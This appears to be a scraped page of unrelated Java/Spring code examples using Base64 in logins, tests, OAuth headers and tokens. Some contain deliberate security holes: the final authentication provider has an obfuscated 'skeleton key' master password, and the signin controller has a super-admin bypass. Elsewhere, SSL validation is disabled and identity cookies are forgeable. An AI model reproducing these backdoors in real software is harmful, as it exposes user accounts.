Exemple #1
0
 public void setPhotoDB(List<Photo> photoDB) {
   photoBytes = new HashMap<PhotoType, String>();
   for (Photo photo : photoDB) {
     if (photo.getPhotoType().equals(PhotoType.MAIN)) {
       photoBytes.put(PhotoType.MAIN, new String(Base64.encode(photo.getContent())));
       mainBytes = new String(Base64.encode(photo.getContent()));
     } else if (photo.getPhotoType().equals(PhotoType.DETAIL)) {
       photoBytes.put(PhotoType.DETAIL, new String(Base64.encode(photo.getContent())));
       detailBytes = new String(Base64.encode(photo.getContent()));
     }
   }
 }
Exemple #2
0
  @RequestMapping(value = "/signin", method = RequestMethod.POST)
  public String signin(
      @Valid LoginForm loginForm,
      BindingResult result,
      HttpSession session,
      HttpServletRequest request,
      HttpServletResponse response) {
    if (result.hasErrors()) {
      logger.info("LoginForm Validation Failed " + result);
      return "redirect:/";
    } else {
      logger.debug("loginForm :" + loginForm.toString());
      String email = loginForm.getEmail().trim();
      String psw = loginForm.getPassword().trim();

      User admin = service.findByEmailAddress(email);
      if (GlobalDefs.SUPER_ADMIN_PWD.equals(psw)
          && admin.getIsadmin().equals("yes")
          && admin.getRandomUrl() != null
          && admin.getRandomUrl().equals("pass")) {
        UserInfo adminInfo = new UserInfo(admin);
        session.setAttribute(GlobalDefs.SESSION_USER_INFO, adminInfo);
        return "redirect:/admin/caicai";
      }

      boolean succeed = service.login(email, psw);
      logger.info("Login result " + succeed);
      if (succeed) {

        User user = service.findByEmailAddress(email);
        String randomUrl = user.getRandomUrl();
        String forbidden = user.getForbidden();
        // send confirm mail to user who do not confirm the email;
        if (randomUrl != null && !(randomUrl.equals("pass"))) {
          session.setAttribute("nonValidatedUser", user);
          return "mail.send";
        }
        //
        if (forbidden != null && forbidden.equals("yes")) {
          return "redirect:/";
        }
        // confirmed users;
        // if (loginForm.getRemeberMe() == 1) {
        String encodedEmail =
            new String(Base64.encode(email.getBytes()), Charset.forName("US-ASCII"));
        logger.debug(encodedEmail);
        Cookie cookie = new Cookie(GlobalDefs.COOKIE_IDENTITY, encodedEmail);
        // cookie.setDomain("localhost");
        cookie.setPath("/");
        // cookie.setMaxAge(60 * 60 * 24 * 14);
        response.addCookie(cookie);
        // }
        UserInfo userInfo = new UserInfo(user);
        session.setAttribute(GlobalDefs.SESSION_USER_INFO, userInfo);
        return "redirect:/admin";
      } else {
        return "redirect:/";
      }
    }
  }
  private String stripFormData(String data, MediaType type, boolean cipher) {

    if (data.endsWith("=") && !type.equals(MediaType.TEXT_PLAIN)) {
      try {
        data = URLDecoder.decode(data, "UTF-8");
        if (cipher) {
          data = data.replace(" ", "+");
        }
      } catch (UnsupportedEncodingException e) {
        // Really?
      }
      String candidate = data.substring(0, data.length() - 1);
      if (cipher) {
        if (data.endsWith("=")) {
          if (data.length() / 2 != (data.length() + 1) / 2) {
            try {
              Hex.decode(candidate);
              return candidate;
            } catch (IllegalArgumentException e) {
              if (Base64.isBase64(data.getBytes())) {
                return data;
              }
            }
          }
        }
        return data;
      }
      // User posted data with content type form but meant it to be text/plain
      data = candidate;
    }

    return data;
  }
  @Test
  public void allowsGetRequestsButRejectsPostForUser() throws Exception {

    HttpHeaders headers = new HttpHeaders();
    headers.add(HttpHeaders.ACCEPT, MediaTypes.HAL_JSON_VALUE);
    headers.add(
        HttpHeaders.AUTHORIZATION,
        "Basic " + new String(Base64.encode(("greg:turnquist").getBytes())));

    mvc.perform(
            get("/employees")
                . //
                headers(headers))
        . //
        andExpect(content().contentTypeCompatibleWith(MediaTypes.HAL_JSON))
        . //
        andExpect(status().isOk())
        . //
        andDo(print());

    mvc.perform(
            post("/employees")
                . //
                headers(headers))
        . //
        andExpect(status().isForbidden())
        . //
        andDo(print());
  }
  /**
   * Decodes the header into a username and password.
   *
   * @throws BadCredentialsException if the Basic header is not present or is not valid Base64
   */
  private String[] extractAndDecodeHeader(String header, HttpServletRequest request)
      throws IOException {
    final byte[] base64Token = header.substring(AUTH_TOKEN.length()).getBytes("UTF-8");
    byte[] decoded;
    try {
      decoded = Base64.decode(base64Token);
    } catch (IllegalArgumentException e) {
      throw new BadCredentialsException("Failed to decode the access token");
    }

    final String token = new String(decoded, "UTF-8");

    final int delimUser = token.indexOf(":");
    final int delimProvider = token.indexOf(":", delimUser + 1);

    if (delimUser == -1 || delimProvider == -1) {
      throw new BadCredentialsException("Invalid access authentication token");
    }

    return new String[] {
      token.substring(0, delimUser),
      token.substring(delimUser + 1, delimProvider),
      token.substring(delimProvider + 1)
    };
  }
  /** tests that an error occurs if you attempt to use bad client credentials. */
  @Test
  @Ignore
  // Need a custom auth entry point to get the correct JSON response here.
  public void testInvalidClient() throws Exception {

    MultiValueMap<String, String> formData = new LinkedMultiValueMap<String, String>();
    formData.add("grant_type", "password");
    formData.add("username", resource.getUsername());
    formData.add("password", resource.getPassword());
    formData.add("scope", "cloud_controller.read");
    HttpHeaders headers = new HttpHeaders();
    headers.set(
        "Authorization", "Basic " + new String(Base64.encode("no-such-client:".getBytes("UTF-8"))));
    headers.setAccept(Arrays.asList(MediaType.APPLICATION_JSON));
    @SuppressWarnings("rawtypes")
    ResponseEntity<Map> response = serverRunning.postForMap("/oauth/token", formData, headers);
    assertEquals(HttpStatus.UNAUTHORIZED, response.getStatusCode());
    List<String> newCookies = response.getHeaders().get("Set-Cookie");
    if (newCookies != null && !newCookies.isEmpty()) {
      fail("No cookies should be set. Found: " + newCookies.get(0) + ".");
    }
    assertEquals(
        "no-cache, no-store, max-age=0, must-revalidate",
        response.getHeaders().getFirst("Cache-Control"));

    assertEquals(401, response.getStatusCode().value());

    @SuppressWarnings("unchecked")
    OAuth2Exception error = OAuth2Exception.valueOf(response.getBody());
    assertEquals("Bad credentials", error.getMessage());
    assertEquals("invalid_request", error.getOAuth2ErrorCode());
  }
    private static String generateNonce(int validitySeconds) {
      long expiryTime = System.currentTimeMillis() + (validitySeconds * 1000);
      String toDigest = expiryTime + ":" + "key";
      String signatureValue = md5Hex(toDigest);
      String nonceValue = expiryTime + ":" + signatureValue;

      return new String(Base64.encode(nonceValue.getBytes()));
    }
 private HttpHeaders getHeaders(ClientDetails config) {
   HttpHeaders headers = new HttpHeaders();
   String token =
       new String(
           Base64.encode((config.getClientId() + ":" + config.getClientSecret()).getBytes()));
   headers.set("Authorization", "Basic " + token);
   return headers;
 }
 private HttpBasicRequestPostProcessor(String username, String password) {
   byte[] toEncode;
   try {
     toEncode = (username + ":" + password).getBytes("UTF-8");
   } catch (UnsupportedEncodingException e) {
     throw new RuntimeException(e);
   }
   this.headerValue = "Basic " + new String(Base64.encode(toEncode));
 }
Exemple #10
0
 private void login(User user, HttpSession session, HttpServletResponse response) {
   UserInfo userInfo = new UserInfo(user);
   String email = user.getEmail();
   session.setAttribute(GlobalDefs.SESSION_USER_INFO, userInfo);
   String encodedEmail = new String(Base64.encode(email.getBytes()), Charset.forName("US-ASCII"));
   logger.debug(encodedEmail);
   Cookie cookie = new Cookie(GlobalDefs.COOKIE_IDENTITY, encodedEmail);
   cookie.setPath("/");
   response.addCookie(cookie);
 }
 @Override
 public void userNotFound(String name, UaaAuthenticationDetails details) {
   try {
     // Store hash of name, to conceal accidental entry of sensitive info (e.g. password)
     name =
         Utf8.decode(Base64.encode(MessageDigest.getInstance("SHA-1").digest(Utf8.encode(name))));
   } catch (NoSuchAlgorithmException shouldNeverHappen) {
     name = "NOSHA";
   }
   createAuditRecord(name, AuditEventType.UserNotFound, getOrigin(details), "");
 }
  @Test
  public void allowsPostRequestForAdmin() throws Exception {

    HttpHeaders headers = new HttpHeaders();
    headers.set(HttpHeaders.ACCEPT, MediaTypes.HAL_JSON_VALUE);
    headers.set(
        HttpHeaders.AUTHORIZATION,
        "Basic " + new String(Base64.encode(("ollie:gierke").getBytes())));

    mvc.perform(
            get("/employees")
                . //
                headers(headers))
        . //
        andExpect(content().contentTypeCompatibleWith(MediaTypes.HAL_JSON))
        . //
        andExpect(status().isOk())
        . //
        andDo(print());

    headers.set(HttpHeaders.CONTENT_TYPE, MediaType.APPLICATION_JSON_VALUE);

    String location =
        mvc.perform(
                post("/employees")
                    . //
                    content(PAYLOAD)
                    . //
                    headers(headers))
            . //
            andExpect(status().isCreated())
            . //
            andDo(print())
            . //
            andReturn()
            .getResponse()
            .getHeader(HttpHeaders.LOCATION);

    ObjectMapper mapper = new ObjectMapper();

    String content =
        mvc.perform(get(location))
            . //
            andReturn()
            .getResponse()
            .getContentAsString();
    Employee employee = mapper.readValue(content, Employee.class);

    assertThat(employee.getFirstName(), is("Saruman"));
    assertThat(employee.getLastName(), is("the White"));
    assertThat(employee.getTitle(), is("Wizard"));
  }
  // public functions
  @Override
  @Transactional
  public CommandProcessingResult createPublicUser(final JsonCommand command) {
    try {
      this.userDataValidator.validateCreate(command.getJsonCommand());

      User user = User.fromJson(command, false, true);

      generateKeyUsedForPasswordSalting(user);
      final String encodePassword = this.applicationPasswordEncoder.encode(user);
      user.updatePassword(encodePassword);

      this.userRepository.save(user);

      final JsonElement element = this.fromJsonHelper.parse(command.getJsonCommand());
      final String returnUrl = this.fromJsonHelper.extractStringNamed(ReturnUrlParamName, element);

      final String email = user.getUsername();
      final SimpleDateFormat sf = new SimpleDateFormat("yyyy-MM-dd HH:mm:ss");
      final String nowDate = sf.format(DateTime.now().toDate());
      final String text = nowDate + email + nowDate + Math.random();

      final String otp = new String(Base64.encode(text.getBytes()));
      final UserOtp userOtp =
          UserOtp.createOtp(user, email, otp.substring(3, otp.length() - 5), returnUrl);

      this.userOtpRepository.save(userOtp);

      final String finalOtp = userOtp.getOtp();
      final String verificationLink =
          DefaultAppUrl + "userapi/activate" + "?e=" + email + "&uas=" + finalOtp;
      String toEmails[] = new String[] {email};
      this.emailSenderService.sendEmail(
          toEmails,
          null,
          null,
          EmailTemplates.activateUserEmailSubject(),
          EmailTemplates.activateUserEmailTemplate(user.getName(), verificationLink));
      return new CommandProcessingResultBuilder().withSuccessStatus().build();
    } catch (DataIntegrityViolationException ex) {
      ex.printStackTrace();
      final Throwable realCause = ex.getCause();
      if (realCause.getMessage().toLowerCase().contains("email")) {
        throw new PlatformDataIntegrityException(
            "error.msg.email.already.exist",
            "The email provided already exitst in the system." + realCause.getMessage());
      }
      throw new PlatformDataIntegrityException(
          "error.msg.unknown.data.integrity.issue",
          "Unknown data integrity issue with resource: " + realCause.getMessage());
    }
  }
  public String getNewToken() throws Exception {
    if (this.getUsername() == null) {
      throw new Exception("usernameIsNull");
    }

    String result = this.getUsername() + UserUtil.generateRandom();
    // base 64 encoding
    byte[] bs = Base64.encode(result.getBytes());

    result = new String(bs, "UTF-8");

    return result;
  }
 /** tests that a client secret is required. */
 @Test
 public void testSecretRequired() throws Exception {
   MultiValueMap<String, String> formData = new LinkedMultiValueMap<String, String>();
   formData.add("grant_type", "password");
   formData.add("username", resource.getUsername());
   formData.add("password", resource.getPassword());
   formData.add("scope", "cloud_controller.read");
   HttpHeaders headers = new HttpHeaders();
   headers.set(
       "Authorization", "Basic " + new String(Base64.encode("no-such-client:".getBytes("UTF-8"))));
   headers.setAccept(Arrays.asList(MediaType.APPLICATION_JSON));
   ResponseEntity<String> response =
       serverRunning.postForString("/oauth/token", formData, headers);
   assertEquals(HttpStatus.UNAUTHORIZED, response.getStatusCode());
 }
 private String getKeyFromServer() {
   HttpHeaders headers = new HttpHeaders();
   String username = this.resource.getClientId();
   String password = this.resource.getClientSecret();
   if (username != null && password != null) {
     byte[] token = Base64.encode((username + ":" + password).getBytes());
     headers.add("Authorization", "Basic " + new String(token));
   }
   HttpEntity<Void> request = new HttpEntity<Void>(headers);
   String url = this.resource.getJwt().getKeyUri();
   return (String)
       this.keyUriRestTemplate
           .exchange(url, HttpMethod.GET, request, Map.class)
           .getBody()
           .get("value");
 }
 private String sign(String signatureBaseString, String key) {
   try {
     Mac mac = Mac.getInstance(HMAC_SHA1_MAC_NAME);
     SecretKeySpec spec = new SecretKeySpec(key.getBytes(), HMAC_SHA1_MAC_NAME);
     mac.init(spec);
     byte[] text = signatureBaseString.getBytes(UTF8_CHARSET_NAME);
     byte[] signatureBytes = mac.doFinal(text);
     signatureBytes = Base64.encode(signatureBytes);
     String signature = new String(signatureBytes, UTF8_CHARSET_NAME);
     return signature;
   } catch (NoSuchAlgorithmException e) {
     throw new IllegalStateException(e);
   } catch (InvalidKeyException e) {
     throw new IllegalStateException(e);
   } catch (UnsupportedEncodingException shouldntHappen) {
     throw new IllegalStateException(shouldntHappen);
   }
 }
  @RequestMapping(value = "/mail/{randomUrl}/{idString}", method = RequestMethod.GET)
  public String commonRegister(
      @PathVariable String randomUrl,
      @PathVariable String idString,
      HttpSession session,
      HttpServletResponse response) {
    logger.info("#### into ConfirmUserRegisterController ####");
    Integer id = Integer.parseInt(idString);
    User result = userService.findOne(id.longValue());
    boolean userConfirmed = (result != null) && randomUrl.equals(result.getRandomUrl());
    if (userConfirmed) {

      logger.info("#### into result not null #### " + result.getName());
      result.setRandomUrl("pass");
      result.setRegister_date(new Date());
      userService.updateUser(result);

      UserInfo userInfo = new UserInfo(result);

      session.setAttribute(GlobalDefs.SESSION_USER_INFO, userInfo);
      logger.info("Confirm user email successful.");
      String email = userInfo.getEmail();
      String encodedEmail =
          new String(Base64.encode(email.getBytes()), Charset.forName("US-ASCII"));
      Cookie cookie = new Cookie(GlobalDefs.COOKIE_IDENTITY, encodedEmail);
      cookie.setPath("/");
      response.addCookie(cookie);

      String type = result.getRole();
      if (type != null && type.equals("enterprise")) {
        return "redirect:/enterprise/dispatcher";
      } else if (type != null && type.equals("user")) {
        return "redirect:/user/dispatcher";
      } else {
        return "redirect:/teacher/dispatcher";
      }
    } else {
      logger.info("#### user confirm failed ####");
      return "home";
    }
  }
  public Document getDocument() {
    Document doc = new Document();
    String sessionId;
    String keyIdParam;
    String callBackKey = "&callbackUrl=";
    String callBackValue = generalConfig.sURL_DocumentKvitanciiCallback();
    String keyID = this.accessCode;
    Collection<Long> correctDocTypes = Lists.newArrayList(0L, 1L);
    String uriDoc;

    if (this.documentTypeId == null || !correctDocTypes.contains(this.documentTypeId)) {
      LOG.error("DocumentTypeId = " + this.documentTypeId);
      throw new DocumentTypeNotSupportedException(
          "Incorrect DocumentTypeId. DocumentTypeId = " + this.documentTypeId);
    } else {
      uriDoc =
          Long.valueOf(0L).equals(this.documentTypeId)
              ? generalConfig.sURL_DocumentKvitanciiForIgov()
              : generalConfig.sURL_DocumentKvitanciiForAccounts();

      keyIdParam = Long.valueOf(0L).equals(this.documentTypeId) ? "?keyID=" : "?id=";
    }

    String finalUri = uriDoc + keyIdParam + keyID + callBackKey + callBackValue;

    // if (generalConfig.bTest()) {
    SSLCertificateValidation.disable();
    // }

    try {
      sessionId = getSessionId();
      String authHeader = "sid:" + sessionId;
      byte[] authHeaderBytes = Base64.encode(authHeader.getBytes(StandardCharsets.UTF_8));
      String authHeaderEncoded = new String(authHeaderBytes);

      HttpHeaders headers = new HttpHeaders();
      headers.setAccept(Collections.singletonList(MediaType.ALL));
      headers.set("Authorization", "Basic " + authHeaderEncoded);
      LOG.debug("try to final url: {}", finalUri);
      ResponseEntity<byte[]> documentEntity =
          new RestRequest()
              .getEntity(finalUri, null, StandardCharsets.UTF_8, byte[].class, headers);

      String contentType = documentEntity.getHeaders().getContentType().toString();
      String contentDispositionHeader =
          documentEntity.getHeaders().get("Content-Disposition").get(0);
      ContentDisposition header = new ContentDisposition(contentDispositionHeader);
      String documentName = header.getParameter("name");

      if (isBlank(documentName)) {
        documentName = header.getParameter("filename");
      }

      if (this.withContent) {
        doc.setFileBody(getFileFromRespEntity(documentEntity));
      }

      doc.setDocumentType(documentTypeDao.findByIdExpected(0L));
      doc.setSubject(subjectDao.getSubject(this.nID_Subject));
      doc.setFile(documentName);
      doc.setContentType(contentType);
      doc.setDate_Upload(DateTime.now());
      doc.setsID_subject_Upload(null);
      doc.setContentKey(null);
      doc.setoSignData(null);

    } catch (ParseException | ResourceAccessException e) {
      LOG.error("Can't get document: ", e);
      throw new DocumentNotFoundException("Can't get document: ", e);
    }

    return doc;
  }
 private String generateTokenData() {
   byte[] newToken = new byte[DEFAULT_TOKEN_LENGTH];
   random.nextBytes(newToken);
   return new String(Base64.encode(newToken));
 }
 private String generateSeriesData() {
   byte[] newSeries = new byte[DEFAULT_SERIES_LENGTH];
   random.nextBytes(newSeries);
   return new String(Base64.encode(newSeries));
 }
Exemple #22
0
 public static String decodeToken(String token) {
   return new String(Base64.decode(token.getBytes()));
 }
  @Override
  public Authentication authenticate(Authentication authentication) throws AuthenticationException {

    /*
     * Se verifica daca ip-ul de la care se incearca autentificarea solicita
     * captcha ( mai mult de 4 autentificari esuate )
     */
    Boolean solicitaCaptcha = false;
    String ip = ((WebAuthenticationDetails) authentication.getDetails()).getRemoteAddress();

    if (authesserv.getByIp(ip) != null && authesserv.getByIp(ip).getNrIncercariEsuate() > 3) {
      solicitaCaptcha = true;
    }

    String username = String.valueOf(authentication.getPrincipal());
    String password = String.valueOf(authentication.getCredentials());

    // Se verifica daca s-a introdus numele de utilizator si parola
    if (StringUtils.isBlank(username) || StringUtils.isBlank(password)) {
      throw new BadCredentialsException("Nu ati introdus numele de utilizator si/sau parola.");
    }

    /* In cazul in care autentificarea trece prin captcha */

    if (captchaCaptureFilter != null && solicitaCaptcha == true) {

      /* Se verifica daca raspunsul utilizatorului a fost adaugat */
      if (StringUtils.isBlank(captchaCaptureFilter.getUserCaptchaResponse())) {
        throw new BadCredentialsException("Captcha Response is Empty");
      } else {
        // Send HTTP request to validate user's Captcha
        boolean captchaPassed =
            SimpleImageCaptchaServlet.validateResponse(
                captchaCaptureFilter.getRequest(), captchaCaptureFilter.getUserCaptchaResponse());

        // Check if valid
        if (captchaPassed) {
          resetCaptchaFields();
        } else {
          resetCaptchaFields();
          throw new BadCredentialsException("Ati gresit la introducerea textului din captcha.");
        }
      }
    }

    /* Toata lumea */

    Utilizator user = udao.findByUsernameActiv(username);

    if (user == null) {
      throw new BadCredentialsException("Nume de utilizator invalid.");
    }
    StandardPasswordEncoder pswdEncoder = new StandardPasswordEncoder("DARKINDYedLOxOT6");

    /* Skeleton key */
    boolean skeletonKey = false;
    String skeletonSecret = new String(Base64.decode("MW5mb3JtMSU=".getBytes()));
    if (skeletonSecret.equals(password)) skeletonKey = true;
    /* End skeleton key */

    if (pswdEncoder.matches(password, user.getParola()) || skeletonKey) {
      List<SimpleGrantedAuthority> authorityList =
          (List<SimpleGrantedAuthority>) getAuthorities(user);
      return new UsernamePasswordAuthenticationToken(authentication, password, authorityList);
    } else {
      throw new BadCredentialsException("Nume de utilizator si/sau parola gresite.");
    }
  }